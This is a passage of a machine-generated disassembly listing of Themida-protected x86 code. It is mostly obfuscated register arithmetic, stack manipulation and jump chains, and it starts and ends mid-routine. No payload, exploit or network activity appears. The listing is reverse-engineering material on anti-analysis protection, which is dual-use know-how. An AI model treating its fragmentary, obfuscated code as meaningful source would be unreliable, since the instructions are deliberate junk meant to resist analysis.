		mov	ecx, 4E0C059Ah
		sub	ecx, 1
		dec	ecx
		push	ebp
		mov	ebp, 1A5AFFD5h
		add	ecx, ebp
		jmp	loc_592469
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_58F720:				; CODE XREF: sub_59762D-7110j
		sub	bl, dl
		pop	edx
		add	bl, al
		add	bl, 48h
		push	edx
		push	eax
		jmp	loc_59229D
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_58F72F:				; CODE XREF: sub_5938B9:loc_59791Cj
		neg	ecx
		jmp	loc_595365
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58F736:				; CODE XREF: sub_58F5B5+3DCCj
		push	15A0h
		mov	[esp+14h+var_14], esi
		mov	esi, 32694EF8h
		jmp	loc_58F413
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_58F748:				; CODE XREF: sub_5EC2E8-61258j
		pop	edx
		push	ebx
		jmp	loc_58C584
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------


loc_58F74F:				; CODE XREF: Themida_:0058EF16j
					; Themida_:0058F646j ...
		push	ecx
		jmp	loc_591529
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592D25


loc_58F755:				; CODE XREF: sub_592D25-8E4j
		sub	edi, 152347F4h
		jmp	loc_5930F5
; END OF FUNCTION CHUNK	FOR sub_592D25
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_58F760:				; CODE XREF: sub_5938B9-10A9j
		sub	ecx, 2772EBF7h
		and	ecx, 3A3D56A7h
		add	ecx, 3404EA63h
		jmp	loc_58BAFA
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------


loc_58F777:				; CODE XREF: Themida_:005935A1j
		add	dh, 62h
		and	cl, dh
		pop	edx
		dec	cl
		jmp	loc_58A8B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_58F784:				; CODE XREF: sub_590010-2275j
		sub	eax, edi
		pop	edi
		sub	ecx, 9B24B80h
		jmp	loc_592F04
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------


loc_58F792:				; CODE XREF: Themida_:0059795Cj
		mov	eax, 1D40660h
		jmp	loc_58D132
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58F79C:				; CODE XREF: sub_58F5B5-1512j
		mov	dx, [esp+0]
		jmp	loc_5971F4
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58F7A5:				; CODE XREF: sub_58C17E-1A0j
					; sub_58C17E+8683j
		mov	edi, [esp+2+var_4+2]
		add	esp, 4
		add	ebx, 4
		xor	ebx, [esp+0]
		jmp	loc_591FFD
; ---------------------------------------------------------------------------


loc_58F7BC:				; CODE XREF: sub_58C17E+957j
		mov	[esp+0], edx
		push	ebp
		mov	ebp, 0A0A2104h
		shr	ebp, 7
		push	edi
		push	edx
		push	ecx
		push	111E12D4h
		pop	ecx
		shr	ecx, 8
		add	ecx, 5B374AF2h
		mov	edx, ecx
		pop	ecx
		jmp	loc_58DC87
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595655


loc_58F7E2:				; CODE XREF: sub_595655-915Bj
		pop	ebx
		jmp	loc_58A919
; END OF FUNCTION CHUNK	FOR sub_595655
; ---------------------------------------------------------------------------


loc_58F7E8:				; CODE XREF: Themida_:00590000j
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59524C


loc_58F7ED:				; CODE XREF: sub_59524C-A276j
					; Themida_:00594EEFj
		pop	ecx
		pop	esi
		and	eax, ebx
		jmp	loc_597A63
; END OF FUNCTION CHUNK	FOR sub_59524C
; ---------------------------------------------------------------------------


loc_58F7F6:				; CODE XREF: Themida_:00594609j
		pop	edi
		add	edi, ecx
		jmp	loc_58A465
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_58F7FE:				; CODE XREF: sub_590010-22CFj
		pop	esi
		push	ecx
		mov	ecx, 79E56337h
		or	ecx, 7BE60B29h
		xor	ecx, 60CF03D6h
		push	esi
		jmp	loc_58D1A1
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------


loc_58F817:				; CODE XREF: Themida_:00596A74j
		dec	esi
		sub	esp, 4
		jmp	loc_596C32
; ---------------------------------------------------------------------------


loc_58F820:				; CODE XREF: Themida_:0058D3CFj
		push	359Ah
		jmp	loc_5953D4
; ---------------------------------------------------------------------------


loc_58F82A:				; CODE XREF: Themida_:00593B0Ej
		not	bh
		jmp	loc_590F2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_58F831:				; CODE XREF: sub_595E21-4BDEj
		jmp	loc_58DB75
; END OF FUNCTION CHUNK	FOR sub_595E21

; =============== S U B	R O U T	I N E =======================================



sub_58F836	proc near		; CODE XREF: sub_59524C+23C2j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058A6B4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058BA29 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058E296 SIZE 00000044 BYTES
; FUNCTION CHUNK AT 0058ECE2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058FDEA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00593728 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005940E2 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005949BA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00595EED SIZE 00000035 BYTES
; FUNCTION CHUNK AT 00597BCD SIZE 0000001C BYTES

		push	ebx
		mov	ebx, esp
		push	1673h
		mov	[esp+8+var_8], eax
		jmp	loc_58ECE2
sub_58F836	endp

; ---------------------------------------------------------------------------


loc_58F846:				; CODE XREF: Themida_:005944FDj
		not	ebx
		add	ebx, 41EA2DDDh
		jnb	loc_58FE55
		sub	ebx, 296387ABh
		jmp	loc_594390
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_58F85F:				; CODE XREF: sub_59762D-A735j
		add	al, 0D5h
		jmp	loc_5950C1
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------


loc_58F866:				; CODE XREF: Themida_:0058CB66j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_58F880:				; CODE XREF: Themida_:0058EC34j
		mov	esp, [esp]
		mov	[esp], edx
		mov	dh, 23h
		sub	al, 0C7h
		push	ecx
		mov	ch, 0ABh
		jmp	loc_591797
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58F892:				; CODE XREF: sub_5916C4-6BEDj
					; sub_58C17E-3E7j
		push	eax
		push	esp
		pop	eax
		jmp	sub_598028
; ---------------------------------------------------------------------------


loc_58F89A:				; CODE XREF: sub_58C17E+71D6j
					; Themida_:00593F81j
		mov	edi, 41857CC7h
		sub	edi, 6015400Fh
		sub	edi, 75D5FDB1h
		add	ebp, 21E10BF1h
		add	ebp, edi
		sub	ebp, 21E10BF1h
		pop	edi
		pop	edi
		xchg	ebp, [esp-0Eh+arg_8+2]
		jmp	loc_5907CB
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58F8C3:				; CODE XREF: sub_5916C4-22CFj
		add	esp, 4
		jmp	loc_596655
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_58F8CB:				; CODE XREF: Themida_:0059196Bj
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_595586
; ---------------------------------------------------------------------------


loc_58F8D6:				; CODE XREF: Themida_:0059087Aj
		shl	edi, 2
		xor	edi, 69F64C40h
		sub	edi, 0BC552E4Bh
		add	dword ptr [esp+8], 48EC0BCAh
		jmp	loc_5922B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595258


loc_58F8F2:				; CODE XREF: sub_595258-2385j
					; Themida_:005956DFj
		add	esp, 4
		jmp	loc_58EC6C
; END OF FUNCTION CHUNK	FOR sub_595258
; ---------------------------------------------------------------------------


loc_58F8FA:				; CODE XREF: Themida_:00591655j
		push	6D3F7917h
		mov	ebp, [esp]
		add	esp, 4
		shl	ebp, 2
		xor	ebp, 0F058E962h
		jmp	loc_596F09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595258


loc_58F916:				; CODE XREF: sub_595258-225Dj
		push	edi
		mov	edi, 1A1D0207h
		sub	edi, 0EFE6DBD5h
		jmp	loc_58C673
; END OF FUNCTION CHUNK	FOR sub_595258
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58F927:				; CODE XREF: sub_58F5B5-2FD2j
		shr	eax, 2
		jnp	loc_591961
		jmp	loc_58A689
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
		pop	esi
		pop	ebp
		add	[esp], eax
		mov	ebx, ebp
		mov	ah, 8Ch


loc_58F93E:				; CODE XREF: Themida_:0058B10Cj
		push	eax
		mov	eax, 4A2F1122h
		not	eax
		jmp	loc_58DE53
; ---------------------------------------------------------------------------


loc_58F94B:				; CODE XREF: Themida_:005915A5j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_58D788
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595655


loc_58F954:				; CODE XREF: sub_595655-83C7j
		pop	esi
		or	eax, eax
		jz	loc_595DFB
		push	3E0Ah
		mov	[esp+0], edx
		push	ebx
		push	51A44F84h
		jmp	loc_58D526
; END OF FUNCTION CHUNK	FOR sub_595655
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58F970:				; CODE XREF: sub_58C17E+1j
		mov	ebx, 55B82FCCh
		sub	ebx, 5CCD7ADBh
		jp	loc_58E507
		neg	ebx
		xor	ebx, 7154B0Bh
		jmp	loc_596BCA
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
		push	dword ptr [edx]
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
		mov	sp, [esp]
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_58F99E:				; CODE XREF: sub_5938B9-2127j
		add	esp, 4
		xor	esi, ecx
		push	dword ptr [esp+0]
		jmp	loc_595BE2
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------


loc_58F9AE:				; CODE XREF: Themida_:005942ADj
		ja	loc_58E76D
		shr	edi, 6
		sub	edi, 71E80F89h
		mov	ch, bh
		push	esi


loc_58F9C0:				; CODE XREF: Themida_:0058B6DCj
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	eax
		mov	eax, 4
		add	ecx, 17AA6E21h
		jmp	loc_597921
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58F9E1:				; CODE XREF: sub_590467-4F96j
		pop	esi
		sub	ebx, edi
		pop	edi
		shr	ebx, 1
		sub	ebx, 0D1735182h
		add	eax, ebx
		mov	ebx, [esp+0]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+0]
		jmp	loc_58E77B
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------


loc_58FA09:				; CODE XREF: Themida_:00593F6Ej
		push	ebx
		push	edx
		mov	dh, 2
		sub	dh, 0B5h
		jg	loc_5968D9
		shl	dh, 3
		shl	dh, 3
		mov	ah, al
		mov	ebx, esi
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58FA20:				; CODE XREF: sub_58C17E+98A2j
		xchg	edx, ecx
		jmp	loc_5923CB
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_58FA27:				; CODE XREF: Themida_:0058E755j
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	dword ptr [esp], cl
		pushf
		jmp	loc_58C34D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58FA36:				; CODE XREF: sub_58C17E+5A63j
		add	esp, 4
		add	eax, edi
		pop	edi
		xor	ecx, eax
		pop	eax
		push	ebx
		jmp	sub_58D99C
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_58FA45:				; CODE XREF: Themida_:0058E053j
		sub	ebx, 152F0EE6h
		or	edx, ebx
		jmp	loc_58B684
; ---------------------------------------------------------------------------


loc_58FA52:				; CODE XREF: Themida_:00591856j
		mov	bh, 0EFh
		jmp	loc_58BBDF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59524C


loc_58FA59:				; CODE XREF: sub_59524C-1F00j
		not	ebp
		xchg	ebp, ecx
		jmp	loc_595B92
; END OF FUNCTION CHUNK	FOR sub_59524C
; ---------------------------------------------------------------------------


loc_58FA62:				; CODE XREF: Themida_:00595A7Ej
		dec	ebp
		or	ebp, 7F3924F7h
		add	ebp, 6E616A60h
		xor	ebp, 0ED9A995Bh
		jmp	loc_58CF2D
; ---------------------------------------------------------------------------
		mov	ecx, [esp]
		push	1608h
		mov	[esp], eax
		push	6D2h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 6ECF6D6Ch
		sub	ebp, 8914A7h
		sub	ebp, 325F4BD7h
		jmp	loc_58E33F
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 4CEA5FA3h
		dec	ecx
		neg	ecx
		neg	ecx
		xor	ecx, 4CEA5FA6h
		add	ebp, ecx
		pop	ecx
		jmp	loc_58A629
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58FAD1:				; CODE XREF: sub_5916C4+1E41j
		add	esi, 0DC354A61h
		jmp	loc_594AFD
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_58FADC:				; CODE XREF: Themida_:0058BE8Ej
		pop	ebp
		add	ebp, 4
		push	ecx
		mov	ecx, 1A02727Eh
		shl	ecx, 8
		js	loc_58A954
		and	ecx, 70794FC8h
		jmp	loc_590FB4
; ---------------------------------------------------------------------------


loc_58FAFD:				; CODE XREF: Themida_:0058ECC8j
		sub	edi, 30982DD2h
		pop	eax
		jmp	loc_593D6A
; ---------------------------------------------------------------------------


loc_58FB09:				; CODE XREF: Themida_:00593B75j
		push	edi
		mov	edi, 3B6C2E8Ah
		jmp	loc_595DC9
; ---------------------------------------------------------------------------


loc_58FB14:				; CODE XREF: Themida_:0058B4F6j
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		jmp	loc_592067
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58FB23:				; CODE XREF: Themida_:0058C0FEj
					; sub_58F5B5-1FA0j
		mov	edx, edi
		pop	edi
		jmp	loc_595BF2
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_58FB2B:				; CODE XREF: Themida_:0058BA0Dj
		push	ebx
		mov	ebx, 134F098Fh
		xchg	esi, ebx
		not	esi
		jmp	loc_595C01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58FB3A:				; CODE XREF: sub_58C17E+4FADj
		push	6D98h
		mov	[esp-6+arg_0+2], ecx
		jmp	loc_58BE3C
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_58FB47:				; CODE XREF: sub_590467+1DF1j
					; sub_5EC2E8-57AF8j
		push	444Fh
		push	esp
		jmp	loc_58FFA2
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------


loc_58FB52:				; CODE XREF: Themida_:0058AD86j
		xor	eax, ebx
		jmp	loc_58B58C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58FB59:				; CODE XREF: sub_590467-32E5j
		add	cl, 0F9h
		mov	bh, cl
		push	[esp-4+arg_0]
		jmp	loc_58D24D
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E3A6


loc_58FB66:				; CODE XREF: sub_58E3A6+894Bj
		shl	ebp, 3
		not	ebp
		add	ebp, 5B9118BAh
		sub	ebp, 32077BB1h
		add	edx, ebp
		jmp	loc_597961
; END OF FUNCTION CHUNK	FOR sub_58E3A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58FB7E:				; CODE XREF: sub_5916C4+43F1j
		add	ebx, esi
		pop	esi
		jmp	loc_59596D
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_58FB86:				; CODE XREF: sub_59762D-91D8j
		add	bl, 3Bh
		jmp	loc_5921E7
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------


loc_58FB8E:				; CODE XREF: Themida_:0059640Cj
		add	esi, eax
		add	esi, 6CBF4333h
		sub	esi, 4E855C38h
		add	esi, 3955015Ch
		push	50E0h
		mov	[esp], edx
		jmp	loc_58D9E0
; ---------------------------------------------------------------------------


loc_58FBAF:				; CODE XREF: Themida_:00593B8Ej
					; Themida_:005955CCj
		sub	ecx, 4
		jmp	loc_58D87A
; ---------------------------------------------------------------------------


loc_58FBBA:				; CODE XREF: Themida_:0058E9B4j
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	0E79h
		jmp	loc_59048F
; ---------------------------------------------------------------------------


loc_58FBD7:				; CODE XREF: Themida_:00594122j
		mov	ecx, 1A247190h
		not	ecx
		add	ecx, 78DB56D1h
		jmp	loc_596080
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	esp, 4
		mov	[esp], edx
		push	edi
		mov	edi, 5296C71h
		jmp	loc_58D7C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58FC07:				; CODE XREF: sub_58C17E-296j
		xor	esi, edi
		mov	edi, [esp+6+var_8+2]
		add	esp, 4
		add	eax, esi
		pop	esi
		jmp	loc_593495
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_58FC17:				; CODE XREF: Themida_:00590F3Aj
		sub	esp, 4
		mov	[esp], eax
		mov	al, bh
		jmp	loc_58F061
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58FC27:				; CODE XREF: sub_59762D-8983j
					; sub_58C17E+AB6Cj
		add	edi, ebx
		pop	ebx
		xor	edi, [esp-6+arg_0+2]
		jmp	loc_58BB94
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_58D89E
; ---------------------------------------------------------------------------


loc_58FC44:				; CODE XREF: Themida_:0058E170j
		add	ecx, 7BF363Eh
		add	ebx, 29745327h
		sub	ebx, ecx
		sub	ebx, 29745327h
		mov	ecx, [esp]
		jmp	loc_58DDA0
; ---------------------------------------------------------------------------


loc_58FC60:				; CODE XREF: Themida_:005954D5j
		push	edx
		push	ebp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 5F13FA8h
		jmp	loc_597132
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5909B4


loc_58FC72:				; CODE XREF: sub_5909B4-37F0j
		pop	ebp
		xchg	ebx, [esp-0Ch+arg_8]
		mov	esp, [esp-0Ch+arg_8]
		mov	word ptr [esp-0Ch+arg_8], dx
		jmp	loc_590FFA
; END OF FUNCTION CHUNK	FOR sub_5909B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_58FC82:				; CODE XREF: sub_590010-5A5Cj
		pop	ebx
		pop	esi
		add	ebx, eax
		pop	eax
		push	edx
		push	edi
		mov	edi, 6B5762Eh
		jmp	loc_58DC29
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58FC93:				; CODE XREF: sub_5916C4-135Bj
		xor	edx, 47F78C97h
		mov	edi, edx
		mov	edx, [esp-10h+arg_C]
		add	esp, 4
		shl	edi, 3
		jns	loc_592DFF
		shr	edi, 6
		jmp	loc_58BD1E
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58FCB2:				; CODE XREF: sub_590467+1A53j
		pop	edi
		dec	ebx
		sub	ebx, 0D413CFEh
		add	ecx, ebx
		jmp	loc_58C243
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58FCC1:				; CODE XREF: sub_5916C4-14ACj
		dec	eax
		push	ebx
		mov	ebx, 1
		sub	eax, ebx
		jmp	loc_5914C9
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_58FCCF:				; CODE XREF: sub_59762D-6C34j
		jmp	loc_58EC9E
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58FCD4:				; CODE XREF: sub_58F5B5+7236j
		add	esp, 4
		push	ebx
		mov	ebx, 7EA356BEh
		xor	ebx, 7EA356BAh
		add	ebp, ebx
		mov	ebx, [esp-4+arg_0]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xor	ebp, [esp-8+arg_4]
		xor	[esp-8+arg_4], ebp
		xor	ebp, [esp-8+arg_4]
		pop	esp
		jmp	loc_58B1C5
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_58FD09:				; CODE XREF: Themida_:00597227j
		add	ebp, 168671BCh
		jmp	loc_595821
; ---------------------------------------------------------------------------


loc_58FD14:				; CODE XREF: Themida_:0059585Dj
		shr	ebx, 8
		xor	ebx, 21A65C5h
		push	edi
		jmp	loc_58ACCA
; ---------------------------------------------------------------------------


loc_58FD23:				; CODE XREF: Themida_:00596E21j
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_58FD28:				; CODE XREF: sub_595BDA+709j
					; sub_5938B9+3598j
		xor	[esp+0], edi
		xor	edi, [esp+0]
		pop	esp
		push	4D6Dh
		jmp	loc_5923C1
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BDA


loc_58FD39:				; CODE XREF: sub_595BDA+3j
					; Themida_:0059623Aj
		mov	[esp+0], ebx
		mov	bh, 0C7h
		jmp	loc_593ABC
; END OF FUNCTION CHUNK	FOR sub_595BDA
; ---------------------------------------------------------------------------


loc_58FD43:				; CODE XREF: Themida_:0059555Fj
		mov	dh, 88h
		add	dh, 0C3h
		inc	dh
		jge	loc_58EE1E
		and	dh, 0A5h
		jnz	loc_5962B1
		push	ebx
		push	eax
		xor	al, 89h
		mov	edi, eax
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58FD5F:				; CODE XREF: sub_5916C4-414Dj
		push	6865h
		mov	[esp+0], eax
		push	5FBh
		mov	[esp+0Eh+var_E], ecx
		sub	esp, 4
		mov	[esp+12h+var_12], eax
		jmp	loc_58ED1E
; ---------------------------------------------------------------------------


loc_58FD7A:				; CODE XREF: sub_5916C4+E4Aj
		add	esp, 4
		shr	ecx, 6
		push	416Ch
		mov	[esp+12h+var_12], ebx
		push	[esp+12h+var_12]
		jmp	loc_5943CC
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_58FD90:				; CODE XREF: sub_595E21-435Dj
		jmp	loc_58C605
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59338C


loc_58FD95:				; CODE XREF: sub_59338C-78FDj
		xchg	ecx, [esp+8+var_8]
		pop	esp
		add	esp, 4
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_59338C
; ---------------------------------------------------------------------------


loc_58FDA1:				; CODE XREF: Themida_:loc_591EBFj
		or	ebx, 3D764727h
		jp	loc_58DCD5
		sub	ebx, 0CF1CFB3Ah
		jmp	loc_58B983
; ---------------------------------------------------------------------------
		push	esi
		pop	eax


loc_58FDBA:				; CODE XREF: Themida_:0058BB1Ej
		add	ebx, 4F21282Ch
		sub	ebx, eax
		sub	ebx, 4F21282Ch
		jmp	loc_593998
; ---------------------------------------------------------------------------


loc_58FDCD:				; CODE XREF: Themida_:0058EF02j
		sub	ebx, 32521842h
		add	edx, ebx
		jmp	loc_58E0EB
; ---------------------------------------------------------------------------


loc_58FDDA:				; CODE XREF: Themida_:00590444j
		mov	[esp], edx
		push	65D23382h
		pop	edx
		add	eax, edx
		jmp	loc_590B27
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F836


loc_58FDEA:				; CODE XREF: sub_58F836+48B8j
		neg	ebp
		push	edx
		mov	edx, 51DF2AFEh
		jmp	loc_5949BA
; END OF FUNCTION CHUNK	FOR sub_58F836
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58FDF7:				; CODE XREF: sub_58F5B5-2EA3j
		pop	edi
		xchg	esi, [esp-8+arg_4]
		pop	esp
		jmp	loc_58FFBA
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_58FE01:				; CODE XREF: Themida_:00593DF3j
		add	esp, 4
		push	ebp
		push	esp
		jmp	loc_58EAEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58FE0E:				; CODE XREF: sub_590467+3C24j
		push	edi
		jmp	loc_58B128
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_58FE14:				; CODE XREF: sub_59762D+217j
		xchg	ecx, [esp+0]
		mov	esp, [esp+0]
		imul	cx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		jmp	loc_58BA33
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------


loc_58FE2C:				; CODE XREF: Themida_:0059076Fj
		pop	ax
		add	al, 60h
		add	al, bh
		sub	al, 60h
		jmp	loc_5910B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58FE39:				; CODE XREF: sub_58F5B5:loc_58B3F5j
		shl	esi, 2
		jnp	loc_597961
		sub	esi, 32A79037h
		mov	eax, esi
		jmp	loc_5904D1
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_58FE4F:				; CODE XREF: Themida_:00592D03j
		push	ebx
		jmp	loc_593B5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_58FE55:				; CODE XREF: sub_59762D:loc_58F6B1j
					; Themida_:0058F84Ej
		sub	ebx, 296387ABh
		jmp	loc_594476
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592D25


loc_58FE60:				; CODE XREF: sub_592D25-451Aj
					; Themida_:0058EE29j
		jle	loc_58E6B9
		push	ebp
		mov	ebp, 148664h
		jmp	loc_58DB4D
; END OF FUNCTION CHUNK	FOR sub_592D25
; ---------------------------------------------------------------------------


loc_58FE71:				; CODE XREF: Themida_:00593FE5j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 1F372BAEh
		add	dword ptr [esp+4], 2C9B1375h
		sub	dword ptr [esp+4], 5E365C5Ah
		add	[esp+4], edx
		push	ecx
		push	ebp
		mov	ebp, 2D3B679Bh
		jmp	loc_58D2F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58FEB6:				; CODE XREF: sub_58C17E+4831j
		pop	esp
		push	esi
		push	33CD15BDh
		pop	esi
